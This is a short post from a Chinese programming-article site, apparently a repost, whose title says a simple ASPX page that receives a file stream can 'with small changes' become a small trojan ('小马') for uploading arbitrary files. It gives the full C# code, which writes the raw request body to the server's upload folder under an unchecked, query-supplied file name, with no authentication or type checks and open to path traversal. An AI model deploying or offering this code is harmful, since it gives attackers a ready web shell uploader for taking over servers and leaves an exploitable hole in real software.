欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

Aspx 页面接收文件流 改改就成支持上传任意文件的小马了

程序员文章站 2022-05-11 12:32:18
Aspx 页面接收文件流 改改就成支持上传任意文件的小马了 upload2.aspx using System; using System.Collections...
Aspx 页面接收文件流 改改就成支持上传任意文件的小马


upload2.aspx

using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

public partial class upload2 : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {

        if (Request.QueryString.Count > 0)
        {
            string filename = Request.QueryString["filename"];
            Encoding myEncoding = Encoding.GetEncoding("utf-8");

            //接收传递过来的数据流
            Stream resStream = Request.InputStream;

            byte[] filecontent = new byte[resStream.Length];
            //将数据流读入byte数组
            resStream.Read(filecontent, 0, filecontent.Length);
            //数组转换为string以便转换base64使用
            string a = myEncoding.GetString(filecontent);
            //将string读取base64解密到byte数组
            //byte[] filecontent2 = Convert.FromBase64String(a);
            //写入目录
            File.WriteAllBytes(Server.MapPath("~/upload/" + filename ), filecontent);
            //返回值
            //Response.Write("ok");
            Response.End();
        }

    }
}